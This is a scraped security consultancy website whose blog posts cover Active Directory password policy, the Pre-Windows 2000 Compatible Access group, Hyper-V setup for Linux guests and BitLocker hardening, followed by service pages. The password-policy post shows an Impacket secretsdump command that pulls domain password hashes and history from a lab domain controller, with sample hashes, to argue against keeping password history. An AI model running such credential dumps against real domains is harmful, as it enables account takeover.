attacker could simply go through the entire IPv4 range or search for vulnerable systems on shodan.io. I can therefore assume that this vulnerability has been exploited and that the data on this system is no longer confidential. So, as mentioned above: redo everything. This is not about “potentially confidential information” that an attacker “could” extract. These are data that are certainly confidential and have likely been extracted. What should I do now? As a first step, if not already done, follow CheckPoint’s instructions and fix the vulnerability. For the future, I would of course want to recommend contacting VidraSec for a pentest or an audit. Unfortunately, this will not help against 0-day vulnerabilities. How can a pentest or an audit still help with such problems? Just because one system fails, the entire system should not fail. I need to secure my Active Directory behind it, for example, so that even if an attacker can take over the VPN gateway, they cannot gain domain admin rights. This is often referred to as the Swiss cheese model. Therefore: 🦦 Contact VidraSec and find vulnerabilities before they are exploited by attackers martin​@​vidrasec.com +43 670 3081275 +43 670 3081275 Book appointment --- ## Active Directory Password Policy URL: https://www.vidrasec.com/blog/ad-password-policy/ Description: Active Directory password policy: NIST vs Microsoft, concrete VidraSec recommendation (min 10 chars, no complexity, no rotation), Group Policy values and rationale. Unfortunately, setting a good password policy for Active Directory is difficult. This is also because there are several best practices that sometimes contradict each other. In this post, I will try to address the various best practices and give my own recommendation. Table of Contents Existing Good Practices NIST Password Guidelines Microsoft Recommendations for Password Policies The VidraSec Recommendation Problems Implementation Summary Existing Good Practices NIST Password Guidelines This guideline is nowadays the quasi-standard and can be found here: https://pages.nist.gov/800-63-3/sp800-63b.html NIST recommends settings for different types of passwords. Normal users in Active Directory usually have a “Memorized Secret”, which they must enter manually at each login. For this type of password, NIST summarizes the following policy (important: SHALL is a bit confusing, but it’s simply a synonym for MUST): Password length at least 8 characters. However, this can be set higher depending on the context. Verifiers SHALL require subscriber-chosen memorized secrets to be at least 8 characters in length. The minimum password length that should be required depends to a large extent on the threat model being addressed. Complexity requirement is not recommended. Verifiers SHOULD NOT impose other composition rules (e.g., requiring mixtures of different character types or prohibiting consecutively repeated characters) for memorized secrets. Regular password change is not recommended. Verifiers SHOULD NOT require memorized secrets to be changed arbitrarily (e.g., periodically). However, verifiers SHALL force a change if there is evidence of compromise of the authenticator. It actually sounds quite simple. However, there are a few additional requirements: The password must be stored as a salted hash that is resistant to offline attacks. Verifiers SHALL store memorized secrets in a form that is resistant to offline attacks. There must be a blacklist of weak passwords (e.g., “Summer2024”, “aaaaaaaa”). […] verifiers SHALL compare the prospective secrets against a list that contains values known to be commonly-used, expected, or compromised. There must be brute-force protection. Verifiers SHALL implement a rate-limiting mechanism that effectively limits the number of failed authentication attempts that can be made on the subscriber’s account […] Important point: This is a password policy, not a recommendation for secure passwords. Everyone should be free to choose a 50-character long password and change it every 90 days. The idea behind the guideline is that overly strict password policies do not contribute to security but just annoy users and ultimately lead to users becoming creative to circumvent the policy (e.g., appending an exclamation mark to meet the complexity). Length and complexity requirements beyond those recommended here significantly increase the difficulty of memorized secrets and increase user frustration. As a result, users often work around these restrictions in a way that is counterproductive. Furthermore, other mitigations such as blacklists, secure hashed storage, and rate limiting are more effective at preventing modern brute-force attacks. Therefore, no additional complexity requirements are imposed. It would be too simple if we could implement this policy 1:1 in Active Directory. The problems are as follows: Active Directory does not offer secure password hash. The best password hash offered is the NT-Hash. NT-Hashes have no salt and are not resistant to offline attacks. An 8 character alphanumeric password can be cracked in minutes. Active Directory does not offer an out-of-the-box solution for a blacklist of insecure passwords. Microsoft Recommendations for Password Policies Unfortunately, Microsoft’s recommendation is a bit confusing and seems contradictory at first glance. The first article you find on this topic is this one: https://learn.microsoft.com/en-us/microsoft-365/admin/misc/password-policy-recommendations?view=o365-worldwide The recommendations in this article are very similar to those in the NIST password policy. The problem: the article refers to M365, not to on-premise Active Directory. Therefore, these recommendations are not really applicable in our case. The recommended password policy for Active Directory can be found here: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/password-policy. Or in the articles linked below. The Good Practice summarized looks as follows: Passwords must be changed every 30-90 days (Maximum Password Age). The last 24 passwords are stored (Password History) to prevent the reuse of previous passwords. The password may only be changed once a day (Minimum Password Age) to prevent circumvention of the password policy through repeated changes. Minimum password length of 8 characters (Minimum Password Length). Passwords must be complex, meeting at least 3 out of the 4 complexity classes (Must Meet Complexity Requirements). Passwords must not be stored using reversible encryption. This is a legacy setting that should never be activated. If it is active, passwords are essentially stored in plaintext. This policy contradicts NIST in almost every aspect and is very annoying for users. Applied, it looks like this: C:\Users\alice>net accounts Force user logoff how long after time expires?: Never Minimum password age (days): 1 Maximum password age (days): 90 Minimum password length: 8 Length of password history maintained: 24 Lockout threshold: Never Lockout duration (minutes): 10 Lockout observation window (minutes): 10 Computer role: WORKSTATION The command completed successfully. Therefore, I suggest that we develop our own Good Practice! Of course, there is an XKCD for that (https://xkcd.com/927/): The VidraSec Recommendation I’m going out on a limb here and offering a specific recommendation. I welcome any feedback and am happy to adapt the recommendation. There are fundamentally two issues that prevent the implementation of the NIST recommendation: Storage of passwords with weak hashing (NT Hash). Use of the password or hash in authentication protocols (NTLM) that are weaker than modern hash functions (argon2, bcrypt). No out-of-the-box solution for blacklists of weak passwords. Multi-factor authentication would be desirable. Let’s consider these points one by one. Problems Offline Storage with Weak Hash (NT Hash) Unfortunately, there is no better hash algorithm available in Windows Active Directory; nothing can be done about this. However, the question is: Can I circumvent the problem by setting a different password policy? NIST clearly states that neither frequent password changes nor complexity requirements lead to better passwords (e.g., “Summer2024!”): Research has shown, however, that users respond in very predictable ways to the requirements imposed by composition rules. For this reason, I would accept this risk. It will unfortunately still take some time before we get a better hash algorithm. A password policy cannot help us here either. Use of Weak Protocols This is a similar issue to the above: a password policy does not help here. I don’t want to go into too much detail, but the following points should definitely be considered: Use Kerberos instead of NTLM where possible. Service accounts and other highly privileged accounts (e.g., Domain Admins) should have their own password policy. Their passwords should be randomly generated and long, and stored in a password manager. Blacklists for Weak Passwords While this is not an out-of-the-box feature, Microsoft now has a solution: https://learn.microsoft.com/en-us/entra/identity/authentication/concept-password-ban-bad-on-premises There are also open-source solutions and third-party solutions. One of these solutions should be implemented to meet NIST’s recommendation. Multi-factor Authentication (MFA) While MFA is not a requirement, it significantly improves security. Therefore, MFA should be implemented on as many internal and external interfaces as possible. In the Active Directory or client environment, Windows Hello for Business can be used. The beauty of Windows Hello is that login on a Windows client, for example, works with a PIN and not with the password set in Active Directory. The advantage is that users theoretically do not need to know their actual password. The password is still used by Windows Hello in the background, but this is transparent to the user. If an attacker somehow obtains the PIN, there is little they can do with it unless they also possess the notebook. Implementation To implement the proposed changes, one typically needs to adjust the Default Domain Policy group policy. The settings can be found under Computer Configuration\Windows Settings\Security Settings\Account Policies\Password Policy\. Here, we set the following values: Setting New Value Reasoning Maximum password age 0 Passwords do not need to be changed regularly. Minimum password length 10 Depending on the level of protection, this can be set higher or lower. I recommend at least 10, better 12. Password must meet complexity requirements Disabled We do not want to enforce complex passwords. Store passwords using reversible encryption Disabled It is the default setting and prevents passwords from being stored in plaintext. These settings align with the NIST recommendation, with a higher minimum password length due to the weak hash type. The following settings are a bit more controversial and are unfortunately not addressed in the NIST guidelines: Setting New Value Reasoning Minimum password age 0 Allows users to change their password at any time. Enforce password history 0 Completely disables the password history. ⚠️ These two settings actually contradict common good practices [1], [2]. However, I have not seen a similar recommendation outside of the Active Directory environment, so I dare to contradict this recommendation. But please think it through yourself! I justify my decision in the following paragraphs. If I want to prevent a user from intentionally setting a weak password, it is better to add the password to my blacklist. The solution with a long password history is not ideal. Password history, however, has an even bigger problem: It stores a huge list of former passwords of users. Even if the old password is no longer active in my system, it could still be used to compromise another account of the user. For an attacker, this information is valuable; for me, it may only provide a slight security gain. Therefore, I believe that password history should be disabled. $ python3 ./secretsdump.py -just-dc-user test -history -k -no-pass vidrasec.lab/bobadmin@dc.vidrasec.lab Impacket v0.12.0.dev1+20240418.131633.ea96b63a - Copyright 2023 Fortra [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets vidrasec.lab\test:1111:aad3b435b51404eeaad3b435b51404ee:3e24dcead23468ce597d6883c576f657::: vidrasec.lab\test_history0:1111:aad3b435b51404eeaad3b435b51404ee:9e59e0541eb4c6ab1ac978eb512c2a3a::: vidrasec.lab\test_history1:1111:aad3b435b51404eeaad3b435b51404ee:b32272b8729f92d524d3c90f2217c88f::: [...] For an attacker, these are great information; for us, however, they only represent a marginal security gain. Therefore, I believe that password history should be disabled. Our new password policy therefore looks like this: C:\Users\alice>net accounts Force user logoff how long after time expires?: Never Minimum password age (days): 0 Maximum password age (days): Unlimited Minimum password length: 10 Length of password history maintained: None Lockout threshold: Never Lockout duration (minutes): 10 Lockout observation window (minutes): 10 Computer role: PRIMARY The command completed successfully. Summary Some important points to conclude: Specific policies for different user types: The proposed password policy is intended for normal users. For highly privileged accounts and service accounts, a stricter policy should be applied, where regular password changes make sense. Policy activation: A new password policy comes into effect with the next password change. I often see that accounts use old passwords that do not meet current guidelines. Regular reviews necessary: The passwords in Active Directory should be regularly reviewed. Are there accounts using the same hash? Are there highly privileged accounts with very old passwords? What percentage of password hashes can be cracked within a certain period? 🦦 For further questions or interest in an Active Directory audit or penetration test, as always, just contact me! Contact me here martin​@​vidrasec.com +43 670 3081275 +43 670 3081275 Book appointment Posts in this series Active Directory Password Policy Built-in Misconfigurations - Pre-Windows 2000 Compatible Access --- ## Built-in Misconfigurations - Pre-Windows 2000 Compatible Access URL: https://www.vidrasec.com/blog/built-in-insecurities-win2k/ Description: What is the Pre-Windows 2000 Compatible Access group? What are the risks? And what can we do about it? This is the first part of a series in which we look into default insecure configurations in Active Directory. This part covers the Pre-Windows 2000 Compatible Access group. What is it? What are the risks? And what can we do about it? For this exercise, I set up a brand new preview version of Windows Server 2025 with Active Directory to ensure we have the latest (and hopefully greatest) version. I will then run PingCastle to find misconfigurations and try to fix them. These default settings are common in many environments that haven’t been specifically hardened. If you are overhauling your AD for any reason, it’s crucial to address these vulnerabilities from the start. Posts in this series Active Directory Password Policy Built-in Misconfigurations - Pre-Windows 2000 Compatible Access What is Pre-Windows 2000 Compatible Access? Active Directory as we know it was introduced with Windows 2000. Earlier similar functionality was much more limited. One difference: it was flat, not hierarchical. So everyone could read every attribute of every object. Active Directory limits that. A normal user can no longer read sensitive attributes of other users (for example pwdLastSet). The problem: some applications need that access. So Microsoft introduced the Pre-Windows 2000 Compatible Access group, which grants read access to all attributes of all objects again. They also added Authenticated Users to this group. This is still the default in Windows Server 2025 – about 25 years after Windows 2000. What are the risks? PingCastle reports this only as informational. I think that’s too low. If Authenticated Users is not in this group, life gets harder for attackers. One important attribute they can’t read anymore is pwdLastSet. So it’s much harder to find accounts with old or weak passwords. I recommend fixing this. But there’s a caveat. This is a default in AD, and some tools depend on it. So don’t change it on a Friday afternoon. In large environments it may be very hard or impossible. You’ll need thorough testing and may have to re-add specific accounts to the group. How to fix it? The fix is simple: remove Authenticated Users from the Pre-Windows 2000 Compatible Access group. At least in an empty lab like mine. In bigger environments you’ll need a lot of testing first (see above). Below: what a normal user can see about another user when Authenticated Users is still in the group (default). PS C:\Users\alice> Get-ADUser bob -Properties * AccountExpirationDate : accountExpires : 9223372036854775807 AccountLockoutTime : AccountNotDelegated : False AllowReversiblePasswordEncryption : False AuthenticationPolicy : {} AuthenticationPolicySilo : {} BadLogonCount : 0 badPasswordTime : 0 badPwdCount : 0 CannotChangePassword : False CanonicalName : vidrasec.lab/Users/bob Certificates : {} City : CN : bob codePage : 0 Company : CompoundIdentitySupported : {} Country : countryCode : 0 Created : 4/19/2024 12:35:21 AM createTimeStamp : 4/19/2024 12:35:21 AM Deleted : Department : Description : DisplayName : bob DistinguishedName : CN=bob,CN=Users,DC=vidrasec,DC=lab Division : DoesNotRequirePreAuth : False dSCorePropagationData : {12/31/1600 4:00:00 PM} EmailAddress : EmployeeID : EmployeeNumber : Enabled : True Fax : GivenName : bob HomeDirectory : HomedirRequired : False HomeDrive : HomePage : HomePhone : Initials : instanceType : 4 isDeleted : KerberosEncryptionType : {} LastBadPasswordAttempt : LastKnownParent : lastLogoff : 0 lastLogon : 0 LastLogonDate : LockedOut : False logonCount : 0 LogonWorkstations : Manager : MemberOf : {} MNSLogonAccount : False MobilePhone : Modified : 4/19/2024 12:35:21 AM modifyTimeStamp : 4/19/2024 12:35:21 AM msDS-User-Account-Control-Computed : 0 Name : bob nTSecurityDescriptor : System.DirectoryServices.ActiveDirectorySecurity ObjectCategory : CN=Person,CN=Schema,CN=Configuration,DC=vidrasec,DC=lab ObjectClass : user ObjectGUID : 00045a31-db0a-43a2-81b3-030b71475f3e objectSid : S-1-5-21-3820918346-3820853946-976116511-1105 Office : OfficePhone : Organization : OtherName : PasswordExpired : False PasswordLastSet : 4/19/2024 12:35:21 AM PasswordNeverExpires : False PasswordNotRequired : False POBox : PostalCode : PrimaryGroup : CN=Domain Users,CN=Users,DC=vidrasec,DC=lab primaryGroupID : 513 PrincipalsAllowedToDelegateToAccount : {} ProfilePath : ProtectedFromAccidentalDeletion : False pwdLastSet : 133579857214640950 SamAccountName : bob sAMAccountType : 805306368 ScriptPath : sDRightsEffective : 0 ServicePrincipalNames : {} SID : S-1-5-21-3820918346-3820853946-976116511-1105 SIDHistory : {} SmartcardLogonRequired : False State : StreetAddress : Surname : Title : TrustedForDelegation : False TrustedToAuthForDelegation : False UseDESKeyOnly : False userAccountControl : 512 userCertificate : {} UserPrincipalName : bob@vidrasec.lab uSNChanged : 16438 uSNCreated : 16433 whenChanged : 4/19/2024 12:35:21 AM whenCreated : 4/19/2024 12:35:21 AM After removing all members from the Pre-Windows 2000 Compatible Access group, we could only see very limited information about the user Bob. I actually had to wait for approximately 10 minutes for this change to take effect. This is the output of the Get-ADUser command after the change: PS C:\Users\alice> Get-ADUser bob -Properties * AccountExpirationDate : accountExpires : AccountLockoutTime : AuthenticationPolicy : {} AuthenticationPolicySilo : {} BadLogonCount : CannotChangePassword : False CanonicalName : Certificates : {} City : CN : bob codePage : 0 Company : CompoundIdentitySupported : {} Country : countryCode : 0 Created : Deleted : Department : Description : DisplayName : bob DistinguishedName : CN=bob,CN=Users,DC=vidrasec,DC=lab Division : EmailAddress : EmployeeID : EmployeeNumber : Fax : GivenName : bob HomeDirectory : HomeDrive : HomePage : HomePhone : Initials : instanceType : isDeleted : KerberosEncryptionType : {} LastBadPasswordAttempt : LastKnownParent : LastLogonDate : LogonWorkstations : Manager : MemberOf : {} MobilePhone : Modified : Name : bob nTSecurityDescriptor : System.DirectoryServices.ActiveDirectorySecurity ObjectCategory : CN=Person,CN=Schema,CN=Configuration,DC=vidrasec,DC=lab ObjectClass : user ObjectGUID : 00045a31-db0a-43a2-81b3-030b71475f3e objectSid : S-1-5-21-3820918346-3820853946-976116511-1105 Office : OfficePhone : Organization : OtherName : PasswordLastSet : POBox : PostalCode : PrimaryGroup : CN=Domain Users,CN=Users,DC=vidrasec,DC=lab primaryGroupID : 513 PrincipalsAllowedToDelegateToAccount : {} ProfilePath : ProtectedFromAccidentalDeletion : False SamAccountName : bob sAMAccountType : 805306368 ScriptPath : sDRightsEffective : 0 ServicePrincipalNames : {} SID : S-1-5-21-3820918346-3820853946-976116511-1105 SIDHistory : {} State : StreetAddress : Surname : Title : userCertificate : {} UserPrincipalName : bob@vidrasec.lab Conclusion In my view this is a very important hardening step. If you ever rebuild AD from scratch, start here. Early on it’s still easy to do. If you want to read more on this topic, there is a lot of amazing information in this post: Semperis: Security risks of Pre-Windows 2000 compatibility (Windows 2022) I will continue explaining recommended Active Directory hardening measures. If you have any other questions or are interested in an Active Directory Audit or Penetration test, as always, just contact me! martin​@​vidrasec.com +43 670 3081275 +43 670 3081275 Book appointment --- ## Improving the Performance of Linux Guests in Hyper-V URL: https://www.vidrasec.com/blog/hyperv/ Description: Find out how to optimize Hyper-V for Linux guests with this guide. Enhance UI responsiveness and achieve performance comparable to VMware. Despite Hyper-V’s impressive performance, its GUI can feel sluggish compared to direct interaction on your host. Finding a solution to this was challenging, as resources were scarce. This post outlines how to configure Hyper-V and Linux virtual machines for a more responsive UI, achieving a performance level comparable to VMware Workstation. Table of Contents Table of Contents Use Case Enabling Enhanced Session Mode Switching Back to Classic Mode Higher Resolutions Clipboard and Shared Folder What Is Missing Conclusion Use Case My use case is perhaps a bit specific. I want to run virtual machines (VMs) directly on my Windows laptop for various reasons: I prefer to install as little software as possible on my Windows laptop. If I need specific software for one use case, I use a VM. I require specific security tools that only run (or run better) on Linux. If I work with customer data, I want to ensure no data is left in some history/cache file after the project is finished. Using a “burner VM” guarantees that. The gold standard for me is VMware Workstation, but given the recent Broadcom controversy, I’m uncertain about the future of this product. Additionally, I’ve encountered many performance issues in the past, and Hyper-V is readily available and free. Therefore, I will use Hyper-V. Alternatives I haven’t tried include Oracle VirtualBox (which I found unsatisfactory long ago) and libvirt (which I was recommended but haven’t tried, I am also not sure how well it works on Windows). Enabling Enhanced Session Mode Installing Kali Linux (this is what I am using) in Hyper-V offers a quite basic experience initially. No copy/paste, no high resolutions. To improve this, run kali-tweaks. There, you can install the prerequisites for “Enhanced Session Mode”: Great, now you can connect using the “Enhanced Session Mode” of Hyper-V. In Hyper-V Manager, select View -> Enhanced Session Mode. If this option is greyed out, you might need to shut down the virtual machine, execute the following command (on the host in PowerShell), and then start the machine again: set-vm "" -EnhancedSessionTransportType HVSocket “Enhanced Session Mode” works with xrdp in the background and offers: Clipboard sharing between host and VM Shared folders and printers Higher resolutions (and easy changes to resolutions) Supposedly better audio (untested) and video performance (which I question, hence this post) From my experience, these features are nice, but as previously mentioned, the video performance seems worse than without “Enhanced Session Mode”, potentially depending on your resolution. I’ve encountered issues. Switching Back to Classic Mode Our plan now is to revert to classic mode (in Hyper-V Manager, untick “Enhanced Session Mode” under View -> Enhanced Session Mode) and manually implement the “Enhanced Session Mode” features. I do not care about audio and printing, so those will not be covered here. Higher Resolutions Classic mode limits resolutions to a maximum of 1920x1200. Owning a monitor with 2560x1440, I naturally want to utilize its full capability. First, we must shut down the Linux machine, then we can set the resolution using PowerShell: Set-VMVideo -VMName -ResolutionType Single -HorizontalResolution 2560 -VerticalResolution 1440 Now, restart the machine and execute the following in bash (adjust for your resolution): cvt 2560 1440 60 # -> calculates the modeline for the command below xrandr --newmode "2560x1440_60.00" 311.83 2560 2744 3024 3488 1440 1441 1444 1490 -HSync +Vsync xrandr --addmode Virtual-1 "2560x1440_60.00" xrandr --output Virtual-1 --mode "2560x1440_60.00" The machine now supports the intended resolution. Remember: these commands need to be executed again after a restart. Clipboard and Shared Folder This aspect is more complex but crucial. I’ve experimented with various solutions and found a working approach. The concept is straightforward: manage the clipboard with a program that: If the clipboard content is changed, the content is written to a file If the file is changed through an external program, the clipboard is updated with the new content Thus, we establish a two-way sync between the file and the clipboard. This file must then be shared between both machines. I use Samba on the Linux machine, avoiding additional installations on my Windows host. This method is effective, but a drawback exists: Windows doesn’t receive notifications of remote Samba share changes. As a workaround, I’ve implemented a check every 5 seconds. While better solutions may exist, this suffices for now. I’ve made this program available on GitHub for anyone interested in forking or contributing: https://github.com/VidraSec/clipboard-monitor Set up and activate Samba on Linux (this guide was helpful: https://ubuntu.com/tutorials/install-and-configure-samba) Access the Samba share from Windows Compile the clipboard-monitor for Linux and Windows Execute the program on both systems, e.g.: clipboard-monitor.exe \\192.168.0.1\shared-folder\clipboard.txt ./clipboard-monitor ~/shared-folder/clipboard.txt The Samba share also facilitates file sharing between the machines, fulfilling the shared folder requirement. Currently, copying files via the clipboard isn’t supported, but this functionality might be added later. For now, file transfers can be conducted through the shared folder. What Is Missing A feature from VMware Workstation I miss is direct VM access to USB devices, such as using a USB WiFi dongle for WiFi hacking with a Hyper-V guest. I have some ideas for implementing this, possibly to be shared in a future post. Conclusion In my view, this setup performs quite well. The UI is highly responsive, and we retain all features of “Enhanced Session Mode”. Moreover, “Enhanced Session Mode” remains an option, allowing for easy reconnection if needed. Additionally, SSH is configured as a fail-safe. This configuration effectively replaces VMware Workstation for me. martin​@​vidrasec.com +43 670 3081275 +43 670 3081275 Book appointment --- ## Securing BitLocker: Initial Setup and Defending Against Attacks URL: https://www.vidrasec.com/blog/setup-bitlocker/ Description: We will guide you through setting up BitLocker and also go into some of the potential attacks against BitLocker, offering insights into its security features. Firstly, what exactly is BitLocker? BitLocker is Microsoft’s full disk encryption solution. While there are alternative solutions from other companies, my experience shows that BitLocker is the preferred choice for most organizations today. The reasons are straightforward: it’s included at no additional cost and integrates seamlessly with Active Directory and EntraID. This article will guide you through setting up BitLocker and also go into some of the potential attacks against BitLocker, offering insights into its security features. Table of Contents Table of Contents First check: I am using BitLocker? Enabling BitLocker But, Is Your System Fully Secure Now? Cold Boot Attack Attack on the TPM itself Direct Memory Access Some Mitigations Kernel DMA Protection Virtualization Based Security (VBS) BIOS/UEFI Password Pre-Boot Authentication Settings to Configure Enabling Pre-Boot Authentication Summary First check: I am using BitLocker? Determining whether you’re using BitLocker is straightforward. Simply open This PC in File Explorer, where you’ll see your drives listed. If your drives display a little lock symbol, as shown in the figure below, then BitLocker should be active on your system. However, don’t stop reading just yet—it’s not quite that simple. You can also verify BitLocker’s status through the Control Panel by navigating to BitLocker Drive Encryption/Manager BitLocker. Alternatively, use this PowerShell command: (New-Object -ComObject Shell.Application).NameSpace('C:').Self.ExtendedProperty('System.Volume.BitLockerProtection') A result of 1 indicates that the drive is Encrypted. But why is it crucial to have BitLocker enabled? Without it, anyone with physical access to your computer, such as a thief, could easily remove the hard drive and access its data. Another method to access your data is by booting the computer from a USB drive and reading the disk contents directly. To illustrate how simple this attack can be, I’ve created a short video: If your drive is not encrypted, you should take immediate action. This involves either enabling BitLocker yourself or consulting with your system administrators about it. Enabling BitLocker Activating BitLocker on a machine you manage yourself is relatively straightforward. Simply navigate to BitLocker Drive Encryption in the Control Panel and click on “Enable.” The wizard that follows is intuitive. It’s very important that in the end you securely back up your recovery key. The most efficient method I’ve found is to print the key to a PDF and then securely store it. Considering BitLocker’s system integrity checks, this recovery key becomes indispensable. Such checks could trigger a lockout upon updates to your BIOS/UEFI or changes in hardware configuration. Hence, keeping this key in a secure location, such as a password manager, is crucial for system recovery. But, Is Your System Fully Secure Now? By enabling BitLocker without pre-boot authentication, your computer will boot as usual. The TPM chip embedded in your motherboard conducts a verification to ensure your hardware has not been altered and that the system booting is indeed your Windows. If this verification is successful, it releases the encryption keys, allowing Windows to decrypt your data without the need for a password (aside from your Windows login password). This process, while seemingly magical, is a robust security measure. It effectively prevents attackers from utilizing your hard drive on another PC or booting from an alternative operating system. So, are we done now? Sadly not yet. There are still several possible attacks. For those interested in understanding these vulnerabilities from the perspective of an attacker, the following videos detail these attacks comprehensively. Cold Boot Attack Attack on the TPM itself Direct Memory Access Some Mitigations To enhance your system’s security, consider applying the following additional settings: Kernel DMA Protection Thunderbolt-connected devices have the capability to perform direct memory access (DMA), posing a risk that an attacker could manipulate memory directly to bypass the logon screen, even if it’s locked. To mitigate this risk, it’s recommended to enable Kernel DMA Protection. This setting ensures that unknown devices can only be connected when the screen is unlocked, thereby preventing attackers from exploiting this vulnerability to circumvent the lock screen. Enabling this feature requires activating virtualization technology in your BIOS/UEFI, typically referred to as Intel VT-d or AMD VT-d. You can verify if Kernel DMA Protection is enabled on your system by running msinfo32.exe and checking for the Kernel DMA Protection entry, which should be set to On. Virtualization Based Security (VBS) While Kernel DMA Protection offers a safeguard against Thunderbolt devices, it does not extend protection to potential attacks through PCI Express devices. Even if your laptop lacks a PCI Express slot, it likely includes an M.2 slot, which could be exploited for direct memory access. Further details on Direct Memory Access attacks are available in the video mentioned above. To defend against these and other sophisticated attacks, enabling Virtualization Based Security (VBS) is recommended. The activation process mirrors that of Kernel DMA Protection, requiring the enabling of virtualization technology in your BIOS/UEFI settings. The status of VBS can be verified by running msinfo32.exe just as with Kernel DMA Protection. BIOS/UEFI Password Implementing the above security measures necessitates hardware support, which can be easily disabled through the BIOS/UEFI settings. To prevent unauthorized alterations, setting a BIOS/UEFI password is crucial. This ensures that the enhanced security configurations remain intact and protected from tampering. Pre-Boot Authentication While the features discussed previously are valuable and should be enabled, they only augment a solution that isn’t perfect on its own. BitLocker, when set up without pre-boot authentication, offers superb user-friendliness and is likely sufficient for the average user. Indeed, this is my go-to setup for friends and family. However, for machines handling sensitive information, pre-boot authentication is indispensable. I am not aware of any method to bypass pre-boot authentication, so if a device equipped with it is stolen, the data remains secure. Unfortunately, enabling it isn’t straightforward. Let me guide you through the process. Enabling pre-boot authentication via the user interface directly is not possible to my knowledge. Instead, group policies must be edited. On self-managed machines, open gpedit.msc (use Windows + R). Navigate to the following path: Computer Configuration -> Administrative Templates -> Windows Components -> BitLocker Drive Encryption -> Operating System Drives Settings to Configure Require Additional Authentication at Startup Ensure Allow BitLocker without a compatible TPM is disabled. BitLocker’s full potential is unlocked with a TPM, which is present in almost all modern computers. Although BitLocker can function without a TPM, its security features are significantly reduced. Set Configure TPM startup PIN to required. This mandates (and actually allows) the use of pre boot authentication. Allow Enhanced PINs for Startup Enable this setting to allow PINs that include characters beyond numbers, enhancing the complexity and security of your PIN. Enabling Pre-Boot Authentication This part can be a bit tricky. While there are methods to change the authentication mode, I’ve found that the simplest approach is to disable and then re-enable BitLocker via the GUI (search for Manage BitLocker in the start menu). Upon reactivation, you should be prompted to create a PIN. Remember, this action changes your recovery key. Securely store the new recovery key and appropriately dispose of or mark the old one as obsolete. Congratulations, your device is now secured with BitLocker and pre-boot authentication! Summary To wrap up this comprehensive guide, here are the key security measures you should implement: Activate BitLocker for disk encryption. Use pre-boot authentication on devices handling sensitive information. Set a BIOS/UEFI password to secure your hardware settings. Enable Virtualization Based Security for enhanced protection. While it may seem daunting, these steps are straightforward and significantly bolster your Windows security. Should you have any further questions on BitLocker or Windows security, feel free to reach out to VidraSec for expert advice! martin​@​vidrasec.com +43 670 3081275 +43 670 3081275 Book appointment --- ## About URL: https://www.vidrasec.com/about/ Description: About VidraSec and Martin Grottenthaler: IT security consulting since 2017, focus on Windows, Active Directory, EntraID. Talks at Troopers, IT-SECX, Hacktivity. VidraSec was founded in 2024 by me, Martin Grottenthaler. I have worked full-time in IT security consulting since 2017. My focus is on Windows, Active Directory and Entra ID security, as well as the security of internal systems. You can find my full CV on my LinkedIn page. Certifications OSCP — Offensive Security Certified Professional CISSP — Certified Information Systems Security Professional GCFA — GIAC Certified Forensic Analyst GWAPT — GIAC Web Application Penetration Tester Talks at conferences Here are some talks that I have presented at conferences. Troopers 2023: The Power of Coercion Techniques in Windows Environments IT-SECX 2021: Utilman is back (German) Hacktivity 2023: The Power of Coercion Techniques in Windows Environments Another (later) version of the talk I did at Troopers. It is a little bit shorter, but being the third time I’ve done the talk, it might be better. I will let you decide. The name VidraSec “Sec” stands for security. “Vidra” is the Slavic word for otter 🦦, chosen because it sounds nice and was still available. The otter connection to security: in medieval Austria, the Catholic Church banned meat during fasting but allowed fish. People classified otters as fish to get around the restriction, making otters part of one of history’s earliest documented life hacks. Unfortunately, this wasn’t great for the otters (or their beaver 🦫 friends), but they are protected now. --- ## Cloud Infrastructure Audit URL: https://www.vidrasec.com/services/cloud-infrastructure-audit/ Description: Cloud Infrastructure Audit: Review Azure, AWS and cloud services. Find misconfigurations, IAM and access control. VidraSec Austria. Cloud services offer enormous flexibility — but that flexibility comes with risk. Misconfigured storage buckets, overly permissive IAM roles, and exposed management interfaces are among the most common causes of cloud security incidents. A Cloud Infrastructure Audit reviews your cloud environment with a read-only account to identify exactly these issues before attackers do. Supported platforms: Azure, AWS, and GCP. Scope This audit is performed as a white-box engagement using a read-only account and standard tooling (ScoutSuite, manual review). The following areas are covered: Identity and Access Management — role assignments, over-privileged accounts, service principals, least-privilege review Storage and data exposure — public buckets/blobs, access policies, sensitive data exposure Virtual Network Configuration — security groups, network ACLs, firewall rules, exposure of management ports Logging and Monitoring — audit log configuration, alerting, detection coverage Security Settings — Defender/Security Hub/Security Command Center configuration, encryption at rest and in transit Service-specific hardening — configuration of the cloud services actively used in your environment Why Cloud environments are a frequent source of breaches — often because default configurations are not hardened IAM mistakes (e.g. overly broad roles, unused service accounts with high permissions) are the most common cloud security gap A read-only configuration review can surface critical exposures in hours that might otherwise go unnoticed for months Why VidraSec 🦦 I have conducted Cloud Infrastructure Audits across Azure, AWS, and GCP environments. My background in identity and access management — particularly in the Microsoft stack — extends naturally into cloud IAM, where many of the same misconfigurations appear. Typical Duration 3–5 days (scope-dependent — depends on the number and complexity of cloud services in use). Reporting takes roughly 30–50% of the test time on top. Typical Price from 7,000 € The final price depends on the scope of the project and the maturity level of your IT security. It is calculated individually based on the required effort. Deliverables Every engagement includes: Written findings report with all misconfigurations, prioritized by severity, with remediation steps Management summary tailored to your audience (technical or executive) Live debriefing to walk through findings and answer questions Retesting after remediation available on request See example reports for what a VidraSec report looks like. Compliance Directly relevant for NIS2 and ISO 27001. Cloud configuration is increasingly scrutinized in information security management reviews. martin​@​vidrasec.com +43 670 3081275 +43 670 3081275 Book appointment Related Services Entra ID Audit Microsoft 365 Audit --- ## Cyber Attack Simulation URL: https://www.vidrasec.com/services/cyber-attack-simulation/ Description: Cyber Attack Simulation: Recreate typical attack paths. Focus on detection and response – red teaming, phishing, malware. VidraSec. Realistic attack scenarios and typical attack paths are recreated to validate how well your organization can detect and respond to real-world attacks. A penetration test finds vulnerabilities in systems. A cyber attack simulation tests whether your people, processes, and tools actually catch an attacker who is already inside. Red Team vs Purple Team Two approaches are available: Red Team (blue team unaware): The security or IT team does not know a simulation is running. This gives the most realistic picture of your detection and response capabilities. Purple Team (cooperative): The security team works alongside the attacker. This is more educational — great for training, building detection rules, and rapidly improving defenses. Which approach fits your situation is discussed in the kick-off meeting. Typical Scenarios Specific scenarios are agreed in the kick-off. Common examples include: Phishing simulation — targeted or mass phishing campaign to test staff recognition and reporting processes Social engineering — 